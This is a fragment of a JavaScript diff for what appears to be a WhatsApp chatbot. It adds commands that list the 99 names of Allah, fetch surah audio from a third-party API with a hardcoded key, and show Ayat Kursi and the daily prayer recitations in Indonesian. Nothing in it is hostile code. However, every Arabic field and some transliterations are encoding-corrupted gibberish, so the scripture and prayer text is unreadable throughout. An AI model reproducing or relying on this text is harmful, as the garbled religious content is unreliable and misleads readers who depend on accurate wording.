translation_id: "Yang Memiliki Mutlak sifat Maha Mematikan", + translation_en: "The Bringer of Death, the Destroyer" + }, + { + index: 62, + latin: "Al Hayyu", + arabic: "ุงู„ู’ุญูŽูŠูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Hidup", + translation_en: "The Ever Living" + }, + { + index: 63, + latin: "Al Qayyuum", + arabic: "ุงู„ู’ู‚ูŽูŠูู‘ูˆู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mandiri", + translation_en: "The Self Subsisting Sustainer of All" + }, + { + index: 64, + latin: "Al Waajid", + arabic: "ุงู„ู’ูˆูŽุงุฌูุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Penemu", + translation_en: "The Perceiver, the Finder, the Unfailing" + }, + { + index: 65, + latin: "Al Maajid", + arabic: "ุงู„ู’ู…ูŽุงุฌูุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mulia", + translation_en: "The Illustrious, the Magnificent" + }, + { + index: 66, + latin: "Al Wahiid", + arabic: "ุงู„ู’ูˆุงุญูุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Tunggal", + translation_en: "The One, The Unique, Manifestation of Unity" + }, + { + index: 67, + latin: "Al โ€˜Ahad", + arabic: "ุงูŽู„ุงูŽุญูŽุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Esa", + translation_en: "The One, the All Inclusive, the Indivisible" + }, + { + index: 68, + latin: "As Shamad", + arabic: "ุงู„ุตูŽู‘ู…ูŽุฏู", + translation_id: "Yang Memiliki Mutlak sifat MahaDibutuhkan, Tempat Meminta", + translation_en: "The Self Sufficient, the Impregnable,the Eternally Besought of All, the Everlasting" + }, + { + index: 69, + latin: "Al Qaadir", + arabic: "ุงู„ู’ู‚ูŽุงุฏูุฑู", + translation_id: "Yang Memiliki Mutlak sifat MahaMenentukan, Maha Menyeimbangkan", + translation_en: "The All Able" + }, + { + index: 70, + latin: "Al Muqtadir", + arabic: "ุงู„ู’ู…ูู‚ู’ุชูŽุฏูุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Berkuasa", + translation_en: "The All Determiner, the Dominant" + }, + { + index: 71, + latin: "Al Muqaddim", + arabic: "ุงู„ู’ู…ูู‚ูŽุฏูู‘ู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mendahulukan", + translation_en: "The Expediter, He who brings forward" + }, + { + index: 72, + latin: "Al Muโ€™akkhir", + arabic: "ุงู„ู’ู…ูุคูŽุฎูู‘ุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mengakhirkan", + translation_en: "The Delayer, He who puts far away" + }, + { + index: 73, + latin: "Al Awwal", + arabic: "ุงู„ุฃูˆูŽู‘ู„ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Awal", + translation_en: "The First" + }, + { + index: 74, + latin: "Al Aakhir", + arabic: "ุงู„ุขุฎูุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Akhir", + translation_en: "The Last" + }, + { + index: 75, + latin: "Az Zhaahir", + arabic: "ุงู„ุธูŽู‘ุงู‡ูุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Nyata", + translation_en: "The Manifest; the All Victorious" + }, + { + index: 76, + latin: "Al Baathin", + arabic: "ุงู„ู’ุจูŽุงุทูู†ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Ghaib", + translation_en: "The Hidden; the All Encompassing" + }, + { + index: 77, + latin: "Al Waali", + arabic: "ุงู„ู’ูˆูŽุงู„ููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Memerintah", + translation_en: "The Patron" + }, + { + index: 78, + latin: "Al Mutaโ€™aalii", + arabic: "ุงู„ู’ู…ูุชูŽุนูŽุงู„ููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Tinggi", + translation_en: "The Self Exalted" + }, + { + index: 79, + latin: "Al Barri", + arabic: "ุงู„ู’ุจูŽุฑูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Penderma", + translation_en: "The Most Kind and Righteous" + }, + { + index: 80, + latin: "At Tawwaab", + arabic: "ุงู„ุชูŽู‘ูˆูŽุงุจู", + translation_id: "Yang Memiliki Mutlak sifat Maha Penerima Tobat", + translation_en: "The Ever Returning, Ever Relenting" + }, + { + index: 81, + latin: "Al Muntaqim", + arabic: "ุงู„ู’ู…ูู†ู’ุชูŽู‚ูู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Penuntut Balas", + translation_en: "The Avenger" + }, + { + index: 82, + latin: "Al Afuww", + arabic: "ุงู„ุนูŽูููˆูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Pemaaf", + translation_en: "The Pardoner, the Effacer of Sins" + }, + { + index: 83, + latin: "Ar Ra`uuf", + arabic: "ุงู„ุฑูŽู‘ุคููˆูู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pengasih", + translation_en: "The Compassionate, the All Pitying" + }, + { + index: 84, + latin: "Malikul Mulk", + arabic: "ู…ูŽุงู„ููƒู ุงู„ู’ู…ูู„ู’ูƒู", + translation_id: "Yang Memiliki Mutlak sifatPenguasa Kerajaan (Semesta)", + translation_en: "The Owner of All Sovereignty" + }, + { + index: 85, + latin: "Dzul JalaaliWal Ikraam", + arabic: "ุฐููˆุงู„ู’ุฌูŽู„ุงูŽู„ููˆูŽุงู„ุฅูƒู’ุฑูŽุงู…ู", + translation_id: "Yang Memiliki Mutlak sifat PemilikKebesaran dan Kemuliaan", + translation_en: "The Lord of Majesty and Generosity" + }, + { + index: 86, + latin: "Al Muqsith", + arabic: "ุงู„ู’ู…ูู‚ู’ุณูุทู", + translation_id: "Yang Memiliki Mutlak sifat Maha Adil", + translation_en: "The Equitable, the Requiter" + }, + { + index: 87, + latin: "Al Jamiiโ€™", + arabic: "ุงู„ู’ุฌูŽุงู…ูุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mengumpulkan", + translation_en: "The Gatherer, the Unifier" + }, + { + index: 88, + latin: "Al Ghaniyy", + arabic: "ุงู„ู’ุบูŽู†ููŠูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Berkecukupan", + translation_en: "The All Rich, the Independent" + }, + { + index: 89, + latin: "Al Mughnii", + arabic: "ุงู„ู’ู…ูุบู’ู†ููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Memberi Kekayaan", + translation_en: "The Enricher, the Emancipator" + }, + { + index: 90, + latin: "Al Maani", + arabic: "ุงูŽู„ู’ู…ูŽุงู†ูุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mencegah", + translation_en: "The Withholder, the Shielder, the Defender" + }, + { + index: 91, + latin: "Ad Dhaar", + arabic: "ุงู„ุถูŽู‘ุงุฑูŽู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Memberi Derita", + translation_en: "The Distressor, the Harmer" + }, + { + index: 92, + latin: "An Nafiiโ€™", + arabic: "ุงู„ู†ูŽู‘ุงููุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Memberi Manfaat", + translation_en: "The Propitious, the Benefactor" + }, + { + index: 93, + latin: "An Nuur", + arabic: "ุงู„ู†ูู‘ูˆุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Bercahaya(Menerangi, Memberi Cahaya)", + translation_en: "The Light" + }, + { + index: 94, + latin: "Al Haadii", + arabic: "ุงู„ู’ู‡ูŽุงุฏููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Pemberi Petunjuk", + translation_en: "The Guide" + }, + { + index: 95, + latin: "Al Baadii", + arabic: "ุงู„ู’ุจูŽุฏููŠุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pencipta", + translation_en: "Incomparable, the Originator" + }, + { + index: 96, + latin: "Al Baaqii", + arabic: "ุงูŽู„ู’ุจูŽุงู‚ููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Kekal", + translation_en: "The Ever Enduring and Immutable" + }, + { + index: 97, + latin: "Al Waarits", + arabic: "ุงู„ู’ูˆูŽุงุฑูุซู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pewaris", + translation_en: "The Heir, the Inheritor of All" + }, + { + index: 98, + latin: "Ar Rasyiid", + arabic: "ุงู„ุฑูŽู‘ุดููŠุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pandai", + translation_en: "The Guide, Infallible Teacher, and Knower" + }, + { + index: 99, + latin: "As Shabuur", + arabic: "ุงู„ุตูŽู‘ุจููˆุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Sabar", + translation_en: "The Patient" + } +] + let json = JSON.parse(JSON.stringify(asmaulhusna)) + let data = json.map((v, i) => `${i + 1}. ${v.latin}\n${v.arabic}\n${v.translation_id}`).join('\n\n') + if (isNaN(args[0])) return replygcxeon (`contoh:\nasmaulhusna 1`) + if (args[0]) { + if (args[0] < 1 || args[0] > 99) throw `minimal 1 & maksimal 99!` + let { index, latin, arabic, translation_id, translation_en } = json.find(v => v.index == args[0].replace(/[^0-9]/g, '')) + return replygcxeon(`No. ${index} +${arabic} +${latin} +${translation_id} +${translation_en} +`.trim()) + } + replygcxeon(`${contoh} + ${data} + ${anjuran}`) +} +break +//=========================================\\ +case 'audiosurah': { + let wrong = `_*Contoh Penggunaan :*_\naudiosurah 1 + +*List Surah :* +1 : Al-Fatihah +2 : Al-Baqarah +3 : Ali 'Imran +4 : An-Nisa' +5 : Al-Ma'idah +6 : Al-An'am +7 : Al-Aโ€™raf +8 : Al-Anfal +9 : At-Taubah +10 : Yunus +11 : Hud +12 : Yusuf +13 : Ar-Raโ€™d +14 : Ibrahim +15 : Al-Hijr +16 : An-Nahl +17 : Al-Isra' +18 : Al-Kahf +19 : Maryam +20 : Ta Ha +21 : Al-Anbiya +22 : Al-Hajj +23 : Al-Muโ€™minun +24 : An-Nur +25 : Al-Furqan +26 : Asy-Syu'ara' +27 : An-Naml +28 : Al-Qasas +29 : Al-'Ankabut +30 : Ar-Rum +31 : Luqman +32 : As-Sajdah +33 : Al-Ahzab +34 : Sabaโ€™ +35 : Fatir +36 : Ya Sin +37 : As-Saffat +38 : Sad +39 : Az-Zumar +40 : Ghafir +41 : Fussilat +42 : Asy-Syura +43 : Az-Zukhruf +44 : Ad-Dukhan +45 : Al-Jasiyah +46 : Al-Ahqaf +47 : Muhammad +48 : Al-Fath +49 : Al-Hujurat +50 : Qaf +51 : Az-Zariyat +52 : At-Tur +53 : An-Najm +54 : Al-Qamar +55 : Ar-Rahman +56 : Al-Waqiโ€™ah +57 : Al-Hadid +58 : Al-Mujadilah +59 : Al-Hasyr +60 : Al-Mumtahanah +61 : As-Saff +62 : Al-Jumuโ€™ah +63 : Al-Munafiqun +64 : At-Tagabun +65 : At-Talaq +66 : At-Tahrim +67 : Al-Mulk +68 : Al-Qalam +69 : Al-Haqqah +70 : Al-Maโ€™arij +71 : Nuh +72 : Al-Jinn +73 : Al-Muzzammil +74 : Al-Muddassir +75 : Al-Qiyamah +76 : Al-Insan +77 : Al-Mursalat +78 : An-Nabaโ€™ +79 : An-Naziโ€™at +80 : 'Abasa +81 : At-Takwir +82 : Al-Infitar +83 : Al-Tatfif +84 : Al-Insyiqaq +85 : Al-Buruj +86 : At-Tariq +87 : Al-Aโ€™la +88 : Al-Gasyiyah +89 : Al-Fajr +90 : Al-Balad +91 : Asy-Syams +92 : Al-Lail +93 : Ad-Duha +94 : Al-Insyirah +95 : At-Tin +96 : Al-'Alaq +97 : Al-Qadr +98 : Al-Bayyinah +99 : Az-Zalzalah +100 : Al-'Adiyat +101 : Al-Qari'ah +102 : At-Takasur +103 : Al-'Asr +104 : Al-Humazah +105 : Al-Fil +106 : Quraisy +107 : Al-Maโ€™un +108 : Al-Kausar +109 : Al-Kafirun +110 : An-Nasr +111 : Al-Lahab +112 : Al-Ikhlas +113 : Al-Falaq +114 : An-Nas` + if (!text) return replygcxeon(`${wrong}`) + reply(mess.wait) + XeonBotInc.sendMessage(m.chat, { audio: { url: `https://api.lolhuman.xyz/api/quran/audio/${text}?apikey=Elaina` }, mimetype: 'audio/mp4' }, { quoted: m }); + +} +break +//=========================================\\ + +case 'ayatkursi': { + let caption = ` +*ใ€Œ Ayat Kursi ใ€* +ุงู„ู„ู‘ูŽู‡ู ู„ูŽุง ุฅูู„ูŽู‡ูŽ ุฅูู„ู‘ูŽุง ู‡ููˆูŽ ุงู„ู’ุญูŽูŠู‘ู ุงู„ู’ู‚ูŽูŠู‘ููˆู…ู ู„ูŽุง ุชูŽุฃู’ุฎูุฐูู‡ู ุณูู†ูŽุฉูŒ ูˆูŽู„ูŽุง ู†ูŽูˆู’ู…ูŒ ู„ูŽู‡ู ู…ูŽุง ูููŠ ุงู„ุณู‘ูŽู…ูŽุงูˆูŽุงุชู ูˆูŽู…ูŽุง ูููŠ ุงู„ู’ุฃูŽุฑู’ุถู ู…ูŽู†ู’ ุฐูŽุง ุงู„ู‘ูŽุฐููŠ ูŠูŽุดู’ููŽุนู ุนูู†ู’ุฏูŽู‡ู ุฅูู„ู‘ูŽุง ุจูุฅูุฐู’ู†ูู‡ู ูŠูŽุนู’ู„ูŽู…ู ู…ูŽุง ุจูŽูŠู’ู†ูŽ ุฃูŽูŠู’ุฏููŠู‡ูู…ู’ ูˆูŽู…ูŽุง ุฎูŽู„ู’ููŽู‡ูู…ู’ ูˆูŽู„ูŽุง ูŠูุญููŠุทููˆู†ูŽ ุจูุดูŽูŠู’ุกู ู…ูู†ู’ ุนูู„ู’ู…ูู‡ู ุฅูู„ู‘ูŽุง ุจูู…ูŽุง ุดูŽุงุกูŽ ูˆูŽุณูุนูŽ ูƒูุฑู’ุณููŠู‘ูู‡ู ุงู„ุณู‘ูŽู…ูŽุงูˆูŽุงุชู ูˆูŽุงู„ู’ุฃูŽุฑู’ุถูŽ ูˆูŽู„ูŽุง ูŠูŽุฆููˆุฏูู‡ู ุญููู’ุธูู‡ูู…ูŽุง ูˆูŽู‡ููˆูŽ ุงู„ู’ุนูŽู„ููŠู‘ู ุงู„ู’ุนูŽุธููŠู…ู +โ€œAlloohu laa ilaaha illaa huwal hayyul qoyyuum, laa taโ€™khudzuhuu sinatuw walaa naum. Lahuu maa fissamaawaati wa maa fil ardli man dzal ladzii yasyfaโ€™u โ€˜indahuu illaa biidznih, yaโ€™lamu maa baina aidiihim wamaa kholfahum wa laa yuhiithuuna bisyaiโ€™im min โ€˜ilmihii illaa bimaa syaaโ€™ wasiโ€™a kursiyyuhus samaawaati wal ardlo walaa yaโ€™uuduhuu hifdhuhumaa wahuwal โ€˜aliyyul โ€˜adhiim.โ€ +Artinya: +Allah, tidak ada Tuhan (yang berhak disembah) melainkan Dia Yang Hidup kekal lagi terus menerus mengurus (makhluk-Nya); tidak mengantuk dan tidak tidur. Kepunyaan-Nya apa yang di langit dan di bumi. Tiada yang dapat memberi syafa'at di sisi Allah tanpa izin-Nya. +Allah mengetahui apa-apa yang di hadapan mereka dan di belakang mereka, dan mereka tidak mengetahui apa-apa dari ilmu Allah melainkan apa yang dikehendaki-Nya. Kursi Allah meliputi langit dan bumi. Dan Allah tidak merasa berat memelihara keduanya, dan Allah Maha Tinggi lagi Maha Besar." +(QS. Al Baqarah: 255) +`.trim() + replygcxeon(caption) +} +break +//=========================================\\ +case 'bacaansholat': { +const bacaanshalat = { + "result": [ + { + "id": 1, + "name": "Bacaan Iftitah", + "arabic": "ุงู„ู„ู‘ูŽู‡ู ุฃูŽูƒู’ุจูŽุฑู ูƒูŽุจููŠุฑู‹ุง ูˆูŽุงู„ู’ุญูŽู…ู’ุฏู ู„ูู„ู‘ูŽู‡ู ูƒูŽุซููŠุฑู‹ุง ูˆูŽุณูุจู’ุญูŽุงู†ูŽ ุงู„ู„ู‘ูŽู‡ู ุจููƒู’ุฑูŽุฉู‹ ูˆูŽุฃูŽุตููŠู„ุงู‹ , ุฅูู†ู‘ูู‰ ูˆูŽุฌู‘ูŽู‡ู’ุชู ูˆูŽุฌู’ู‡ูู‰ูŽ ู„ูู„ู‘ูŽุฐูู‰ ููŽุทูŽุฑูŽ ุงู„ุณู‘ูŽู…ูŽูˆูŽุงุชู ูˆูŽุงู„ุฃูŽุฑู’ุถูŽ ุญูŽู†ููŠูู‹ุง ูˆูŽู…ูŽุง ุฃูŽู†ูŽุง ู…ูู†ูŽ ุงู„ู’ู…ูุดู’ุฑููƒููŠู†ูŽ ุฅูู†ู‘ูŽ ุตูŽู„ุงูŽุชูู‰ ูˆูŽู†ูุณููƒูู‰ ูˆูŽู…ูŽุญู’ูŠูŽุงู‰ูŽ ูˆูŽู…ูŽู…ูŽุงุชูู‰ ู„ูู„ู‘ูŽู‡ู ุฑูŽุจู‘ู ุงู„ู’ุนูŽุงู„ูŽู…ููŠู†ูŽ ู„ุงูŽ ุดูŽุฑููŠูƒูŽ ู„ูŽู‡ู ูˆูŽุจูุฐูŽู„ููƒูŽ ุฃูู…ูุฑู’ุชู ูˆูŽุฃูŽู†ูŽุง ุฃูŽูˆู‘ูŽู„ู ุงู„ู’ู…ูุณู’ู„ูู…ููŠู†ูŽ", + "latin": "Alloohu akbar kabiirow wal hamdu lillaahi katsiiroo wasubhaanalloohi bukrotaw wa-ashiilaa, Innii wajjahtu wajhiya lilladzii fathoros samaawaati wal ardlo haniifaa wamaa ana minal musyrikiin. Inna sholaatii wa nusukii wamahyaa wa mamaatii lillaahi robbil ‘aalamiin. Laa syariikalahu wa bidzaalika umirtu wa ana awwalul muslimiin", + "terjemahan": "Allah Maha Besar dengan sebesar-besarnya, segala puji bagi Allah dengan pujian yang banyak. Mahasuci Allah pada waktu pagi dan petang, Sesungguhnya aku hadapkan wajahku kepada Allah yang telah menciptakan langit dan bumi dalam keadaan tunduk dan aku bukanlah dari golongan orang-orang musyrik. Sesungguhnya shalatku, sembelihanku, hidupku dan matiku hanya untuk Allah Tuhan semesta alam. Tidak ada sekutu bagiNya. Dan dengan yang demikian itu lah aku diperintahkan. Dan aku adalah orang yang pertama berserah diri" + }, + { + "id": 2, + "name": "Al Fatihah", + "arabic": "ุจูุณู’ู…ู ุงู„ู„ู‘ูŽู€ู‡ู ุงู„ุฑู‘ูŽุญู’ู…ูŽู€ูฐู†ู ุงู„ุฑู‘ูŽุญููŠู…ู ๏ดฟูก๏ดพุงู„ู’ุญูŽู…ู’ุฏู ู„ูู„ู‘ูŽู€ู‡ู ุฑูŽุจูู‘ ุงู„ู’ุนูŽุงู„ูŽู…ููŠู†ูŽ ๏ดฟูข๏ดพ ุงู„ุฑู‘ูŽุญู’ู…ูŽู€ูฐู†ู ุงู„ุฑู‘ูŽุญููŠู…ู ๏ดฟูฃ๏ดพ ู…ูŽุงู„ููƒู ูŠูŽูˆู’ู…ู ุงู„ุฏูู‘ูŠู†ู ๏ดฟูค๏ดพ ุฅููŠู‘ูŽุงูƒูŽ ู†ูŽุนู’ุจูุฏู ูˆูŽุฅููŠู‘ูŽุงูƒูŽ ู†ูŽุณู’ุชูŽุนููŠู†ู ๏ดฟูฅ๏ดพ ุงู‡ู’ุฏูู†ูŽุง ุงู„ุตูู‘ุฑูŽุงุทูŽ ุงู„ู’ู…ูุณู’ุชูŽู‚ููŠู…ูŽ ๏ดฟูฆ๏ดพ ุตูุฑูŽุงุทูŽ ุงู„ู‘ูŽุฐููŠู†ูŽ ุฃูŽู†ู’ุนูŽู…ู’ุชูŽ ุนูŽู„ูŽูŠู’ู‡ูู…ู’ ุบูŽูŠู’ุฑู ุงู„ู’ู…ูŽุบู’ุถููˆุจู ุนูŽู„ูŽูŠู’ู‡ูู…ู’ ูˆูŽู„ูŽุง ุงู„ุถู‘ูŽุงู„ูู‘ูŠู†ูŽ ๏ดฟูง", + "latin": "1. Bismillahirrahmanirrahim, 2. Alhamdulillahi rabbil alamin, 3. Arrahmaanirrahiim, 4. Maaliki yaumiddiin, 5. Iyyaka nabudu waiyyaaka nastaiin, 6. Ihdinashirratal mustaqim, 7. shiratalladzina an’amta alaihim ghairil maghduubi alaihim waladhaalin", + "terjemahan": "1. Dengan menyebut nama Allah Yang Maha Pemurah lagi Maha Penyayang, 2. Segala puji bagi Allah, Tuhan semesta alam, 3. Maha Pemurah lagi Maha Penyayang, 4. Yang menguasai di Hari Pembalasan, 5. Hanya Engkaulah yang kami sembah, dan hanya kepada Engkaulah kami meminta pertolongan, 6. Tunjukilah kami jalan yang lurus, 7. (yaitu) Jalan orang-orang yang telah Engkau beri nikmat kepada mereka; bukan (jalan) mereka yang dimurkai dan bukan (pula jalan) mereka yang sesat" + }, + { + "id": 3, + "name": "Bacaan Ruku", + "arabic": "(3x) ุณูุจู’ุญูŽุงู†ูŽ ุฑูŽุจู‘ููŠูŽ ุงู„ู’ุนูŽุธููŠู’ู…ู ูˆูŽุจูุญูŽู…ู’ุฏูู‡ู", + "latin": "Subhana Rabbiyal Adzimi Wabihamdih (3x)", + "terjemahan": "Maha Suci Tuhanku Yang Maha Agung Dan Dengan Memuji-Nya" + }, + { + "id": 4, + "name": "Bacaan Sujud", + "arabic": "(3x) ุณูุจู’ุญูŽุงู†ูŽ ุฑูŽุจู‘ูู‰ูŽ ุงู„ู’ุฃูŽุนู’ู„ูŽู‰ ูˆูŽุจูุญูŽู…ู’ุฏูู‡ู", + "latin": "Subhaana robbiyal a'la wabihamdih (3x)", + "terjemahan": "Mahasuci Tuhanku yang Mahatinggi dan segala puji bagiNya" + }, + { + "id": 5, + "name": "Bacaan Duduk Diantara Dua Sujud", + "arabic": "ุฑูŽุจู‘ู ุงุบู’ููุฑู’ู„ููŠู’ ูˆูŽุงุฑู’ุญูŽู…ู’ู†ููŠู’ ูˆูŽุงุฌู’ุจูุฑู’ู†ููŠู’ ูˆูŽุงุฑู’ููŽุนู’ู†ููŠู’ ูˆูŽุงุฑู’ุฒูู‚ู’ู†ููŠู’ ูˆูŽุงู‡ู’ุฏูู†ููŠู’ ูˆูŽุนูŽุงููู†ููŠู’ ูˆูŽุงุนู’ูู ุนูŽู†ูู‘ูŠู’", + "latin": "Rabbighfirli Warhamni Wajburnii Warfaknii Wazuqnii Wahdinii Wa'aafinii Wa'fuannii", + "terjemahan": "Ya Allah,ampunilah dosaku,belas kasihinilah aku dan cukuplah segala kekuranganku da angkatlah derajatku dan berilah rezeki kepadaku,dan berilah aku petunjuk dan berilah kesehatan padaku dan berilah ampunan kepadaku" + }, + { + "id": 6, + "name": "Duduk Tasyahud Awal", + "arabic": "ุงูŽู„ุชู‘ูŽุญููŠู‘ูŽุงุชู ุงู„ู’ู…ูุจูŽุงุฑูŽูƒูŽุงุชู ุงู„ุตู‘ูŽู„ูŽูˆูŽุงุชู ุงู„ุทู‘ูŽูŠูู‘ุจูŽุงุชู ูู„ู„ู‡ูุŒ ุงู„ุณู‘ูŽู„ุงูŽู…ู ุนูŽู„ูŽูŠู’ูƒูŽ ุงูŽูŠู‘ูู‡ูŽุง ุงู„ู†ู‘ูŽุจููŠู‘ู ูˆูŽุฑูŽุญู’ู…ูŽุฉู ุงู„ู„ู‡ู ูˆูŽุจูŽุฑูŽูƒูŽุงุชูู‡ูุŒ ุงู„ุณู‘ูŽู„ุงูŽู…ู ุนูŽู„ูŽูŠู’ู†ูŽุง ูˆูŽุนูŽู„ูŽู‰ ุนูุจูŽุงุฏูุงู„ู„ู‡ู ุงู„ุตู‘ูŽุงู„ูุญููŠู’ู†ูŽุŒ ุฃูŽุดู’ู‡ูŽุฏู ุงูŽู†ู’ ู„ุข ุฅูู„ูŽู‡ูŽ ุฅูู„ุงู‘ูŽุงู„ู„ู‡ู ูˆูŽุงูŽุดู’ู‡ูŽุฏู ุฃูŽู†ู‘ูŽ ู…ูุญูŽู…ู‘ูŽุฏู‹ุง ุฑูŽุณููˆู’ู„ู ุงู„ู„ู‡ูุŒ ุงูŽู„ู„ู‡ูู…ู‘ูŽ ุตูŽู„ูู‘ ุนูŽู„ูŽู‰ ุณูŽูŠูู‘ุฏูู†ูŽุง ู…ูุญูŽู…ู‘ูŽุฏู", + "latin": "Attahiyyaatul mubaarokaatush sholawaatuth thoyyibaatu lillaah. Assalaamualaika ayyuhan nabiyyu wa rohmatulloohi wa barokaatuh. Assalaaamualainaa wa alaa ibaadillaahish shoolihiin. Asyhadu allaa ilaaha illallooh wa asyhadu anna Muhammadar rosuulullooh. Allahummasholli ala Sayyidina Muhammad", + "terjemahan": "Segala penghormatan, keberkahan, shalawat dan kebaikan hanya bagi Allah. Semoga salam sejahtera selalu tercurahkan kepadamu wahai Nabi, demikian pula rahmat Allah dan berkahNya dan semoga salam sejahtera selalu tercurah kepada kami dan hamba-hamba Allah yang shalih. Aku bersaksi bahwa tiada ilah kecuali Allah dan aku bersaksi bahwa Muhammad adalah utusan Allah. Ya Tuhan kami, selawatkanlah ke atas Nabi Muhammad" + }, + { + "id": 7, + "name": "Duduk Tasyahud Akhir", + "arabic": "ุงูŽู„ุชู‘ูŽุญููŠู‘ูŽุงุชู ุงู„ู’ู…ูุจูŽุงุฑูŽูƒูŽุงุชู ุงู„ุตู‘ูŽู„ูŽูˆูŽุงุชู ุงู„ุทู‘ูŽูŠูู‘ุจูŽุงุชู ูู„ู„ู‡ูุŒ ุงู„ุณู‘ูŽู„ุงูŽู…ู ุนูŽู„ูŽูŠู’ูƒูŽ ุงูŽูŠู‘ูู‡ูŽุง ุงู„ู†ู‘ูŽุจููŠู‘ู ูˆูŽุฑูŽุญู’ู…ูŽุฉู ุงู„ู„ู‡ู ูˆูŽุจูŽุฑูŽูƒูŽุงุชูู‡ูุŒ ุงู„ุณู‘ูŽู„ุงูŽู…ู ุนูŽู„ูŽูŠู’ู†ูŽุง ูˆูŽุนูŽู„ูŽู‰ ุนูุจูŽุงุฏูุงู„ู„ู‡ู ุงู„ุตู‘ูŽุงู„ูุญููŠู’ู†ูŽุŒ ุฃูŽุดู’ู‡ูŽุฏู ุงูŽู†ู’ ู„ุข ุฅูู„ูŽู‡ูŽ ุฅูู„ุงู‘ูŽุงู„ู„ู‡ู ูˆูŽุงูŽุดู’ู‡ูŽุฏู ุฃูŽู†ู‘ูŽ ู…ูุญูŽู…ู‘ูŽุฏู‹ุง ุฑูŽุณููˆู’ู„ู ุงู„ู„ู‡ูุŒ ุงูŽู„ู„ู‡ูู…ู‘ูŽ ุตูŽู„ูู‘ ุนูŽู„ูŽู‰ ุณูŽูŠูู‘ุฏูู†ูŽุง ู…ูุญูŽู…ู‘ูŽุฏู ูˆูŽุนูŽู„ูŽู‰ ุขู„ู ุณูŽูŠูู‘ุฏูู†ูŽุง ู…ูุญูŽู…ู‘ูŽุฏูุŒ ูƒูŽู…ูŽุง ุตูŽู„ู‘ูŽูŠู’ุชูŽ ุนูŽู„ูŽู‰ ุณูŽูŠูู‘ุฏูู†ูŽุง ุงูุจู’ุฑูŽุงู‡ููŠู’ู…ูŽ ูˆูŽุนูŽู„ูŽู‰ ุขู„ู ุณูŽูŠูู‘ุฏูู†ูŽุง ุงูุจู’ุฑูŽุงู‡ููŠู’ู…ูŽ ูˆูŽุจูŽุงุฑููƒู’ ุนูŽู„ูŽู‰ ุณูŽูŠูู‘ุฏูู†ูŽุง ู…ูุญูŽู…ู‘ูŽุฏู ูˆูŽุนูŽู„ูŽู‰ ุขู„ู ุณูŽูŠูู‘ุฏูู†ูŽุง ู…ูุญูŽู…ู‘ูŽุฏู ูƒูŽู…ูŽุง ุจูŽุฑูŽูƒู’ุชูŽ ุนูŽู„ูŽู‰ ุณูŽูŠูู‘ุฏูู†ูŽุง ุงูุจู’ุฑูŽุงู‡ููŠู’ู…ูŽ ูˆูŽุนูŽู„ูŽู‰ ุขู„ู ุณูŽูŠูู‘ุฏูู†ูŽุง ุงูุจู’ุฑูŽุงู‡ููŠู’ู…ูŽ ููู‰ ุงู„ู’ุนูŽุงู„ูŽู…ููŠู’ู†ูŽ ุฅูู†ู‘ูŽูƒูŽ ุญูŽู…ููŠู’ุฏูŒ ู…ูŽุฌููŠู’ุฏูŒ", + "latin": "Attahiyyaatul mubaarokaatush sholawaatuth thoyyibaatu lillaah. Assalaamualaika ayyuhan nabiyyu wa rohmatulloohi wa barokaatuh. Assalaaamualainaa wa alaa ibaadillaahish shoolihiin. Asyhadu allaa ilaaha illallooh wa asyhadu anna Muhammadar rosuulullooh. Allahumma Shalli Ala Sayyidina Muhammad Wa Ala Ali Sayyidina Muhammad. Kama Shollaita Ala Sayyidina Ibrahim wa alaa aali sayyidina Ibrahim, wabaarik ala Sayyidina Muhammad Wa Alaa Ali Sayyidina Muhammad, Kama barokta alaa Sayyidina Ibrahim wa alaa ali Sayyidina Ibrahim, Fil aalamiina innaka hamiidummajid", + "terjemahan": "Segala penghormatan yang berkat solat yang baik adalah untuk Allah. Sejahtera atas engkau wahai Nabi dan rahmat Allah serta keberkatannya. Sejahtera ke atas kami dan atas hamba-hamba Allah yang soleh. Aku bersaksi bahwa tiada Tuhan melainkan Allah dan aku bersaksi bahwasanya Muhammad itu adalah pesuruh Allah. Ya Tuhan kami, selawatkanlah ke atas Nabi Muhammad dan ke atas keluarganya. Sebagaimana Engkau selawatkan ke atas Ibrahim dan atas keluarga Ibrahim. Berkatilah ke atas Muhammad dan atas keluarganya sebagaimana Engkau berkati ke atas Ibrahim dan atas keluarga Ibrahim di dalam alam ini. Sesungguhnya Engkau Maha Terpuji lagi Maha Agung" + }, + { + "id": 8, + "name": "Salam", + "arabic": "ุงูŽู„ุณู‘ูŽู„ุงูŽู…ู ุนูŽู„ูŽูŠู’ูƒูู…ู’ ูˆูŽุฑูŽุญู’ู…ูŽุฉู ุงู„ู„ู‡ู ูˆูŽุจูŽุฑูŽูƒูŽุงุชูู‡ู", + "latin": "Assalamualaikum Warohmatullahi Wabarokatuh", + "terjemahan": "Semoga keselamatan, rohmat dan berkah ALLAH selalu tercurah untuk kamu sekalian." + } 